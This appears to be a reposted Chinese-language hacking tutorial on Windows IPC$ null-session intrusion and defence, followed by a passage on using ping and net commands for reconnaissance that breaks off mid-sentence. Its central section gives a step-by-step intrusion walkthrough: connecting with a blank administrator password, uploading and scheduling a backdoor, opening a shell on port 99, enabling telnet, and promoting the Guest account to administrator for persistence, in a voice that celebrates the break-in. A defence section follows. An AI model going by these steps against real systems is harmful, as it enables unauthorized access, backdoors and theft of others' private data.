IPC$空连接的入侵和防御

IPC$空连接的入侵和防御
  建立空连接  net use \IP\ipc$Content$nbsp;"" /user:"" (一定要注意:这一行命令中包含了3个空格)
  建立非空连接  net use \IP\ipc$Content$nbsp;"用户名" /user:"密码
(同样有3个空格)
  映射默认共享    net use z: \IP\c$Content$nbsp;"密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
  如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \IP\c$
  删除一个ipc$连接  net use \IP\ipc$Content$nbsp;/del
  删除共享映射  net use c: /del 删除映射的c盘,其他盘类推
  net use * /del 删除全部,会有提示要求按y确认
  经典入侵模式
  1.C:\>net use \127.0.0.1\IPC$Content$nbsp;"" /user:"admintitrators"
  这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  2. C:\> \127.0.0.1\admin$Content$nbsp;
  先复制上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  3.C:\>net time \127.0.0.1
  查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  4.C:\>at \127.0.0.1 11:
  用at命令启动吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  5.C:\>net time \127.0.0.1
  再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  6.C:\>telnet 127.0.0.1 99
  这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
  虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  7.C:\> \127.0.0.1\admin$Content$nbsp;
  用Copy命令把上传到主机上(也是在《流光》的Tools目录中)。
  8.C:\WINNT\system32>ntlm
  输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
  9.Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就
做什么吧,哈哈)
  为了以防万一,我们再把guest激活加到管理组
  10.C:\>net user guest /active:yes
  将对方的Guest用户激活
  11.C:\>net user guest 1234
  将Guest的密码改为1234,或者你要设定的密码
  12.C:\>net localgroup administrators guest /add
  将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
  ipc$与空连接,139,445端口,默认共享的关系
  以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)
  ipc$与空连接
  不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
  许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
  ipc$与139,445端口
  ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
  ipc$与默认共享
  默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
  ipc$连接失败的原因
  以下5个原因是比较常见的:
  1)你的系统不是NT或以上操作系统;
  2)对方没有打开ipc$默认共享
  3)对方未开启139或445端口(惑被防火墙屏蔽)
  4)你的命令输入有误(比如缺少了空格等)
  5)用户名或密码错误(空连接当然无所谓了)
  另外,你也可以根据返回的错误号分析原因:
  错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
  错误号51,Windows 无法到网络路径 : 网络有问题;
  错误号53,不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
  错误号67,不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
  错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和
对方建立了一个ipc$,请删除再连。
  错误号1326,未知的用户名或错误密码 : 原因很明显了;
  错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
  错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
  关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.
  如何打开目标的IPC$
  首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$Content$nbsp;来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。
  如何防范ipc$入侵
  禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
  首先运行regedit,到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
  禁止默认共享1)察看本地共享资源运行-cmd-输入net share
  2)删除共享(每次输入一个)
  net share ipc$Content$nbsp;/delete
  net share admin$Content$nbsp;/delete
  net share c$Content$nbsp;/delete
  net share d$Content$nbsp;/delete(如果有e,f,……可以继续删除)
  3)停止server服务
  net stop server /y (重新启动后server服务会重新开启)
  4)修改注册表
  运行-regedit
  server版:到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
  pro版:到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
  如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
  永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
  控制面板-管理工具-服务-到server服务(右击)-属性-常规-启动类型-已禁用
  安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
  设置复杂密码,防止通过ipc$穷举密码
  问:
  请问下~IPC空连接~有什么用啊?请问下~IPC空连接~有什么用啊?
  这么才可以取得更高的权利呢??
  答:首先需要指出的是空连接和ipc$是
不同的概念。空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。ipc$是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限。有许多的工具必须用到ipc$。默认共享是为了方便远程管理而开放的共享,包含了所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
  IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上
的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
  解惑:
  1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
  2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
  3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表
  建立ipc$连接在hack攻击中的作用
  就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必
不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
  (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
  不过你
也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
  因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
  所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.
一、ping命令
在Windows的控制窗口中(Windows 95/98/ME的command解释器、Windows NT/2000的cmd解释器),运行ping可以看到这个命令的说明,它是一个探测本地电脑和远程电脑之间信息传送速度的命令,这个命令需要TCP/IP协议的支持,ping将会计算一条信息从本地发送到远程再返回所需要的时间,黑客使用这个命令决定是否对服务器进行攻击,因为连接速度过慢会浪费时间、花费过多的上网费用。
另外这个命令还可以透过域名到对方服务器的IP地址,我们知道域名只是提供给浏览网页用的,当我们看到一个不错的域名地址后,要想通过telnet连接它,就必须知道对方的IP地址,这里也要使用ping命令的。
这个命令的基本使用格式可以通过直接运行ping获得,现在假设目标是www.abc/,则可以在控制台下输入ping www.abc,经过等待会得到如下信息:
Pinging www.abc [204.202.136.32] with 32 bytes of data:
Reply from 204.202.136.32: bytes=32 time=302ms TTL=240
Reply from 204.202.136.32: bytes=32 time=357ms TTL=240
Reply from 204.202.136.32: bytes=32 time=288ms TTL=240
Reply from 204.202.136.32: bytes=32 time=274ms TTL=240
Ping statistics for 204.202.136.32:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 274ms, Maximum = 357ms, Average = 305ms
这些信息的意思是:www.abc的IP地址是204.202.136.32,对他发送了四次数据包,数据包的大小是32字节,每一次返回的时间分别是302ms、357ms、288ms、274ms。综合看,发送了四个数据包全部返回,最小时间是274ms,最大时间357ms,他们的平均时间是305ms。
这样黑客就了解了连接对方服务器使用的时间。另外这个命令还有一些特殊的用法,例如可以通过IP地址反查服务器的NetBIOS名,现在以211.100.8.87为例,使用ping配合“-a”,在控制台下输入命令ping -a 211.100.8.87,它的返回结果是:
Pinging POPNET-FBZ9JDFV [211.100
.8.87] with 32 bytes of data:
Reply from 211.100.8.87: bytes=32 time=96ms TTL=120
Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
Reply from 211.100.8.87: bytes=32 time=109ms TTL=120
Ping statistics for 211.100.8.87:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 96ms, Maximum = 110ms, Average = 106ms
从这个结果会知道服务器的NetBIOS名称是POPNET-FBZ9JDFV。另外在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,例如上面的www.abc返回的TTL是240,对方的系统很可能是Linux,而第二个目标的TTL是120,那么说明它使用的系统也许是Windows。
另外ping还有很多灵活的应用,我不在这里过多的介绍,读者请另行查阅此命令相关帮助文件。
二、net命令:
NET命令是很多网络命令的集合,在Windows ME/NT/2000内,很多网络功能都是以net命令为开始的,通过net help可以看到这些命令的详细介绍:
NET CONFIG 显示系统网络设置
NET DIAG 运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息
NET HELP 显示帮助信息
NET INIT 不通过绑定来加载协议或网卡驱动
NET LOGOFF 断开连接的共享资源
NET LOGON 在WORKGROUP中登陆
NET PASSWORD 改变系统登陆密码
NET PRINT 显示或控制打印作业及打印队列
NET START 启动服务,或显示已启动服务的列表
NET STOP 停止网络服务
NET TIME 使计算机的时钟与另一台计算机或域的时间同步
NET USE 连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息
NET VER 显示局域网内正在使用的网络连接类型和信息
NET VIEW 显示域列表、计算机列表或指定计算机的共享资源列表
这些命令在Win95/98中支持的比较少,只有几个基本常见的,而在NT或者2000中又元元多于上面的介绍,不过大多数对于初学者也没有必要掌握,所以我选择了WindowsME进行介绍,其中最常用到的是NET VIEW和NET USE,通过者两个命令,学习者可以连接网络上开放了远程共享的系统,并且获得资料。这种远程共享本来是为便捷操作设计的,但是很多网络管理员忽视了它的安全性,所以造成了很多不应该共享的信息的暴露,对于学习者来说,则可以轻易获得它人电脑上的隐私资料。
例如在控制台下输入net view \\202.96.50.24则可以获得对应IP的系统共享目录,进而到他们的共享文件,当然这需要202.96.50

本文发布于:2024-09-23 10:27:26,感谢您对本站的认可!

本文链接:https://www.17tex.com/tex/3/450074.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:连接   命令   共享   密码   服务   对方   目标
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2024 Comsenz Inc.Powered by © 易纺专利技术学习网 豫ICP备2022007602号 豫公网安备41160202000603 站长QQ:729038198 关于我们 投诉建议